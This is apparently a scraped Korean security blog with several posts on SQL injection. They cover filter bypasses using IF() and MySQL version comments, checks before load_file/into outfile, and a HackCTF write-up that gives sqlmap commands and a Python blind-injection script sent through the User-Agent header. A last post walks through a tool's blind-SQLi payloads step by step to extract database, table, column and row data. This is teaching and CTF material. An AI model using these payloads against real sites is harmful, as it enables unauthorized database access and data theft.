반응형

0. 개요

가끔 난이도 높은 SQL injection 문제에서 where 키워드가 필터링될 경우가 존재한다.

이럴 때 해당 기법을 이용해서 필터를 우회할 수 있다.


일단 다음과 같이 test2 테이블에서 flag가 123123인 id 값을 원한다고 가정하자.

이것에 대한 쿼리를 작성하면 다음과 같다.

select id from test2 where flag=123123;


여기서 where가 필터링되었을 때 다음과 같이 작성하면 비슷한 결과가 출력된다.

(같지 않고 비슷하다는 것은 아래 좀 더 자세히 설명하겠다)

select if(flag=123123,id,null) from test2;


실제 출력 결과를 확인해보자.


출력 결과를 확인해보면 where 절을 이용하였을 때는 정확히 해당 조건에 맞는 row의 id만 출력되는 것을 볼 수 있는 반면, if 구문을 이용한 경우에는 나머지 데이터들이 조건에 맞지 않아 null이 출력됨을 확인할 수 있다.


이러한 이유로 인해 이전에 결과가 동일하지 않고 비슷하다고 한 것이다.


1. 활용

그렇다면 해당 기법을 어떤 식으로 이용해야 할까?


1) 데이터 수 확인

 : 아래 출력 결과를 보면 where 절을 이용한 것과 if 구문을 이용한 것의 count 결과가 동일하게 1건이라고 출력됨을 볼 수 있다.

이를 통해 우리가 원하는 데이터가 몇 개 있는지 알 수 있다.



2) 데이터 추출

 : 실제 데이터는 다음과 같이 MAX와 같은 함수를 이용하여 출력시키거나 limit keyword를 이용하여 원하는 데이터를 찾을 수 있다.




반응형
블로그 이미지

rootable

,
반응형

1. 서론

기존에 나는 [ no=3 and id='aa' ]와 같이 and 구문 이전에 특정 행을 지정을 해줘야 해당 행의 id를 가져온다고 알고 있었다.

만약 and 구문이 필터링 되어있을 경우 &&로 우회를 하였는데 이 또한 필터링 되어있을 경우에는 어떻게 원하는 행에 대해 조건 검사를 어떻게 할 수 있을지 고민해보았다.



2. 본론

(1) test 테이블 확인



(2) if 구문 조건식에 3번 행이 가지고 있는 데이터에 일치하는 조건으로 설정

 - 3번 행의 THEMA 컬럼 첫번째 문자열이 V로 시작한다. 이에 따라 예상대로라면 일치하는 데이터가 있기 때문에 true가 되어 TID=1로 세팅되어 1번 행이 출력될거라고 예상이 된다.

 - 하지만 결과는 false가 되어 TID가 2인 행이 출력된다.



(3) 참일 때의 데이터를 해당 조건식에 일치하는 행으로 지정

 - 조건식에 일치하는 행이 3인 경우이므로 참일 때의 데이터에 3을 지정해준다.

 - 그 결과는 참일 때와 거짓일 때의 데이터인 TID가 2인 것과 3인 것이 동시에 출력된다. 


(4) 거짓일 때의 데이터를 존재하지 않는 데이터로 지정

 - 조회 결과가 복수일 경우 웹 서비스에서 제대로 출력이 안될 가능성이 크기 때문에 조회 결과는 한 행만 출력되는 것이 좋다.

이에 따라 거짓일 때의 데이터를 존재하지 않는 값인 0으로 지정해준다.

 - 예상대로 3인 행만이 출력됨을 확인할 수 있다.



3. 결론

위에서 확인한 사항에 대해 생각을 해본 결과 아래와 같은 쿼리와 동일하게 동작한다고 판단이 들었다.

select * from test where TID=[참일 때의 값] and [조건식] or [거짓일 때의 값]


이를 잘 이용한다면 and 구문이나 or 구문이 필터링되었을 때 우회하는 기법으로 이용이 가능할 것이라 생각한다.


※ and 구문 우회 예시

 - [ select * from test where TID=3 and substr(THEMA,1,1)='V' and FID=1 ]과 동일한 구문




반응형

'Hacking > Web' 카테고리의 다른 글

Server-side Vulnerability  (0) 2020.04.09
Client-side Vulnerability  (0) 2020.04.02
Non alphanumeric code in PHP  (0) 2020.03.09
SQL Injection in INSERT, UPDATE and Delete Statements  (0) 2020.03.06
[root-me] NoSQL injection - Blind  (0) 2020.03.05
블로그 이미지

rootable

,
반응형

데이터베이스에는 MySQL, MSSQL, Oracle이 대표적이지만 안드로이드와 IOS에서 주로 사용되는 SQLite 가 존재한다.


데이터베이스 관련 취약점인 SQL Injection이 해당 데이터베이스에서도 발생되는데 이에 대한 대응방안을 찾아보았다.


PERL이나 PHP같은 스크립팅 언어에서는 쿼리를 종료하는 모든 문자열에 대해 다룰 수 있다. PHP 언어의 경우 SQLite에 특별한 입력 문자열에 대해 다루는 sqlite_escape_string()이라는 함수를 제공해준다.


아래는 해당 함수를 사용하는 예시이다.

// addslashes() 함수를 거친 데이터를 사용할 경우 결과가 이상하게 나옴

if(!get_magic_quotes_gpc()) {

$name = sqlite_escape_string($name);

}


$result = @$db->query("SELECT * FROM users WHERE username='{$name}'");





나의 경우 해당 함수를 사용하였는데 다음과 같은 에러가 발생하였다.

Fatal error: Call to undefined function sqlite_escape_string() in [파일명] on line 9


왜 그런지 알아보았는데 결론은 테스트 환경인 CentOS의 문제였다.

동일한 에러가 발생한다면 아래 Step대로 진행하면 해결될 것이다.


아래 php-5.X.X.tar.gz 부분은 버전정보를 입력하면 된다. ( "php -v" 명령어를 통해 확인 가능 )


wget http://museum.php.net/php5/php-5.X.X.tar.gz

tar xzvf php-5.2.XX.tar.gz

cd php-5.2.XX/ext/sqlite/

phpize

./configure

make

make install

echo extension=sqlite.so >> /etc/php.d/sqlite.ini

service httpd restart


* 만약 진행하다가 phpize 명령어가 안된다면 다음 명령어를 통해 php-devel를 설치 

yum install php-devel*


참고 )

 - https://www.tutorialspoint.com/sqlite/sqlite_injection.htm

 - https://www.php.net/manual/en/function.sqlite-escape-string.php

 - https://www.serveradminblog.com/2013/07/centos-5-call-to-undefined-function-sqlite_escape_string/

 - https://medium.com/@a.m./solved-phpize-command-not-found-in-centos-6-4-6ee253419053

반응형

'Hacking > Web' 카테고리의 다른 글

JWT Signature - RS256 to HS256  (3) 2020.02.27
open_basedir setting and bypass  (0) 2019.12.31
HTTP 인증 우회  (0) 2019.12.16
데이터 평문전송 대응방안  (2) 2019.12.06
0.0.0.0 의 의미  (0) 2019.11.20
블로그 이미지

rootable

,

Mysql Special Comment

Hacking/Web 2019. 11. 20. 10:10
반응형

Mysql에는 특별한 주석이 존재한다.


그것은 바로 버전 별로 주석이 동작하는 /*! */ 형태이다.


아래 몇가지 형태를 보자.


현재 쿼리를 실행하는 버전은 5.7.12 버전이다.


1) select * from test2 from id=1 or id=2

 - 해당 쿼리를 통해 test2 테이블에 id가 1인 데이터와 2인 데이터가 존재함을 확인


2) select * from test2 from id=1 /*! or id=2*/

 - 이 경우 MySQL의 버전에 상관없이 항상 /!* */ 부분의 쿼리가 실행된다.

 - 만약 필터링이 union select와 같이 연결하여 설정되어 있을 경우 union/*!select*/으로 우회가 가능하다.


3) select * from test2 from id=1 /*!50000 or id=2*/

 - 이 경우 MySQL 버전이 5 이하 경우에만 주석이 실행된다. 현재 쿼리를 실행한 Mysql은 5.7.12버전이기 때문에 주석이 실행되지 않아 id=2인 데이터까지 출력이 된다.

 -현재 버전이 5. /*!60000 */로 변경할 경우 쿼리를 실행한 버전이 5.X이기 떄문에 6 이하이기 때문에 해당 주석이 실행되어 id=1인 데이터만 출력이 된다.

 - 결론 : /*![버전] */ 일 때 해당 데이터베이스가 해당 버전 이하일 경우에만 주석처리가 된다!

       


4) select /*!50000 1/0, */1 from test2

 - 해당 경우 실제 웹 어플리케이션에서 조회하는 부분에 이용할 수 있는 쿼리이다.

 - 좌측의 쿼리는 버전이 5.0 이하가 아니기 때문에 주석이 실행되지 않아 NULL이 출력되며, 우측의 쿼리는 버전이 6.0 이하이기 때문에 주석이 실행되어 정상적으로 1만 출력됨을 볼 수 있다.


- 이를 조금 더 나아가면 50000 부분을 조금씩 수정해가며 응답을 봐서 데이터베이스의 정확한 버전정보를 알 수 있다. 아래 쿼리들 처럼 정확히 현재 DB의 버전이 5.07.12임을 확인할 수 있다.


       






반응형

'Hacking > Web' 카테고리의 다른 글

데이터 평문전송 대응방안  (2) 2019.12.06
0.0.0.0 의 의미  (0) 2019.11.20
JWT algorithm modify code  (0) 2019.11.19
Webtob + Jeus 설정파일 리스트  (0) 2019.11.01
Subquery를 이용한 Error based Injection  (0) 2019.10.10
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

mysql에서는 SQL Injection을 통해 파일 다운로드 취약점, 파일 업로드 취약점으로 나아갈 수 있는 방법이 있다. 이는 바로 load_file 구문과 into outfile 구문을 이용하는 것이다.

해당 구문을 이용한 취약점에 대해서는 구글링할 것을 추천하고 해당 포스팅에서는 SQL Injection 이후 해당 구문들을 사용할 수 있는지 확인하는 것에 포커스를 두었다.


1. SQL Injection을 통해 DB 정보 획득

 - user명 : select user();

 - version 정보 : select @@version;


만약 버전 5.1.17 이상이라면 file-priv 옵션이 존재하므로 load_file과 into outfile을 진행하기 위해서는 해당 옵션이 현재 user에 Y로 설정되어있는지 확인이 필요함.


- file-priv 옵션 : select user, file_priv from mysql.user;

만약 file_priv 값이 N으로 설정되어 있다면 load_file과 into outfile은 불가하다.



2. secure-file-priv

 - 현재 user에게 file-priv 옵션이 Y로 지정되어있다라도 secure-file-priv 옵션이 지정되어있으면 해당 디렉토리 이외에는 읽기/쓰기가 불가능하다.


ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement


만약 위와 같은 에러가 떴다면, 이는 secure-file-priv로 지정한 디렉토리 이외의 디렉토리에 존재하는 파일을 읽거나 쓰려고 했기 때문이다.


 - MYSQL 5.6.34 이후의 버전에서는 보안 문제로 인해 secure-file-priv 옵션이 지정되어 있지 않을 경우에도 위와 같은 에러문이 출력되며 load_file과 into outfile 구문을 사용할 수 없다.


 secure-file-priv 확인 방법

 * 명령어 :  SHOW VARIABLES LIKE 'secure_file%';

 * 옵션 설정 파일 예시

   - 리눅스 :  /etc/my.cnf  or /etc/mysql/my.cnf

   - 윈도우 : C:\ProgramData\MySQL\MySQL Server 5.6\my.ini


반응형

'Hacking > Web' 카테고리의 다른 글

Indirect SQL Injection  (0) 2019.08.11
Controller Location In Spring Framework  (0) 2019.07.29
[JAVA] AES256 decrypt Code  (0) 2019.04.25
[Websec.fr] level 8 Writeup  (0) 2019.04.11
[websec.fr] level 25 writeup with parse_url bug  (0) 2019.04.07
블로그 이미지

rootable

,
반응형

해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.


문제에 접근하면 액세스 거부! 라는 글이 보인다.

돌아다녀봐도 사용자로부터 입력을 받는 파라미터나 버튼이 없는 것을 확인하였다.


나는 여기서 [공인된 컴퓨터] 라는 것에서 힌트를 얻었다.

user-agent 부분에서 뭔가 되지 않을까 싶어 SQL Injection을 시도하였고 성공하였다.




위와 같이 User-Agent 부분에 Injection 구문을 넣은 결과 아래와 같이 [환영합니다] 라는 문구가 떴다.



여기부터 2가지 방식으로 진행하였다.


방법1. SqlMap 활용 > Time Based SQL Injection


1) DB 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 --dbs

 - user-agent에 대한 공격을 진행하기 위해서는 level 3으로 지정해주어야 한다.


2) TABLE 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db --tables


3) column Name 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas --columns


4) 데이터 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas -C ua --dump



방법 2. Blind SQL Injection


1) 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2

flag = ""
url = "http://ctf.j0n9hyun.xyz:2029/"
request = urllib2.Request(url)

for chr_l in range(1,41):
    print "[-] find "+ str(chr_l)+"'s letter"
    binary=''

    for bin_l in range(1,8):
        request.add_header('User-Agent',"' or (select substr(lpad(bin(ascii(substr(ua,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) from uas)=1 and '1'='1")
        if("color: green;" in urllib2.urlopen(request).read()):
            binary += '1'
        else:
            binary += '0'
        print binary

    flag = flag + ('%x' % int(binary,2)).decode('hex')
    print flag

print flag

cs

2) 결과




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

내가 분석하고 하는 Bind SQL Injection Tool은 많이들 사용하는 [Blind SQL Injection for Pentration Teser v2.0.0 build 603 Beta 1] 이다.

참고 ) http://n3015m.tistory.com



1. 기본적인 툴 사용법

① URL 부분에는 SQL Injection을 진행할 URL을 적어주면 된다.

② DBMS에는 해당 사이트의 DBMS를 선택해주면 된다. (MSSQL, MYSQL, ORACLE)

③ POST인지 아닌지 체크 후 POST라면 POST 탭에 파라미터와 그 값을 넣어주면 된다.

④ Blind SQL Injection을 AND로 진행할지 OR로 진행할지 고르면 된다.

⑤ MATCH 부분은 값이 True일 때 서버의 응답 중 어떤 것으로 판단할지 적어주면 된다.

⑥ Append Text End Of Query는 쿼리 작성 후 마지막에 무엇을 써줄지 적어주면 된다. 나와있듯이 보통 주석처리를 적어준다.


DB,USR,AUTH,VER 부분 중 확인하고자 하는 것을 체크 후 Initialize Injection을 눌러준다. DB는 Default로 체크되어있다. 왜냐하면 추후 TABLE NAME을 확인할 때 사용하여야 하기 때문이다.



2. DB명 확인

 * 공격순서 및 공격쿼리

  1) DB명 길이 확인

- idx=21726+AND+length(database())>1--

- idx=21726+AND+length(database())>2--

- idx=21726+AND+length(database())>4-- (2배씩 증가하다 응답이 false이면 범위를 좁혀 DB명 길이 확인)

...

  2) DB명 한글자씩 확인

- idx=21726+AND+ascii(substring(database(),1,1))>78--

- idx=21726+AND+ascii(substring(database(),1,1))>102-- (위와 동일하게 범위를 좁혀가며 첫번째 글자 확인)

- idx=21726+AND+ascii(substring(database(),2,1))>78-- ( 두번째 글자를 위와 동일한 방식으로 확인.. 이렇게 하여 모든 DB명 확인)



3. TABLE NAME 확인

 - DB명을 뽑아냈다면 TABLE NAME 부분의 CRACK 버튼을 누를 수 있다. 


 * 공격순서 및 공격쿼리

  1) 테이블명 중 가장 길이가 긴 길이 확인

idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+order+by+length(table_name)desc+limit+0,1)>2--

설명) 

 - 0x42415345205441424C45 : BASE TABLE → DB Owner가 생성한 TABLE만 조회하기 위해 사용

 - 0x69705f6c6f675f7461626c65 : ip_log_table (DB명) → 해당 DB의 테이블을 확인하기 위해 사용


  2) 테이블 갯수 확인

idx=21726+AND+(select+count(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65)>2--


  3) 첫번째 테이블명의 길이 확인

idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>5--


  4) 첫번째 테이블명 획득

idx=21726+AND+(select+ascii(substring(table_name,1,1))+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>78--

 - ascii(substring(table_name,1,1)의 첫번째 1을 2,3,4 순서로 길이만큼 올리면 된다.


 5) 반복

  - 테이블명 길이의 마지막 limit의 0이었던 부분을 1,2,3 순서로 올리면 된다.

  - 반복해서 테이블명을 획득


 6) 데이터 갯수 확인

idx=21726+AND+(select+count(*)+from+ip_table)>2--

 - 획득한 Table_Name을 from 뒤에 넣어 각 테이블의 데이터 갯수를 뽑아낸다.



4. COLUMN NAME 확인

 * 공격순서 및 공격쿼리

  1) 각 테이블 중 컬럼명의 가장 긴 길이를 확인

idx=21726+AND+(select+length(column_name)from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+order+by+length(column_name)+desc+limit+0,1)>2--


  2) 각 테이블의 컬럼 갯수 확인

idx=21726+AND+(select+count(*)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65)>2--


  3) 테이블에 해당하는 컬럼명 획득

① 첫번째 컬럼명의 길이 획득

idx=21726+AND+(select+length(column_name)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>1--


② 첫번째 컬럼명 획득

idx=21726+AND+(select+ascii(substring(column_name,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>78--

 - column_name 뒤의 숫자를 획득시켜주면 된다.


  4) 데이터 타입 확인

① data_type의 각 자리의 ascii값 확인

idx=21726+AND+(select+ascii(substring(data_type,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>105--


② 얻은 값을 통해 확인작업

idx=21726+AND+(select+data_type+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)=0x696e74--


  5) 반복

 - 3)과 4)의 limit 뒤의 0을 1,2,3 순서로 증가시키면 된다.



5. DATA 확인

 * 공격순서 및 공격쿼리

  1) 해당 테이블과 컬럼명을 이용하여 각 데이터의 길이 확인

idx=21726+AND+(select+length(id)from+.admin_table+limit+0,1)>2--


  2) 각 데이터 획득

idx=21726+AND+(select+ascii(substring(id,1,1))+from+.admin_table+limit+0,1)>126--


반응형

'Hacking > Web' 카테고리의 다른 글

[SuNiNaTaS] 22번 문제  (0) 2018.05.10
sql injection using md5  (0) 2018.05.09
Padding Oracle Attack  (0) 2018.05.01
자바스크립트 난독화  (0) 2018.05.01
보안진단 크롬 플러그인  (0) 2018.04.17
블로그 이미지

rootable

,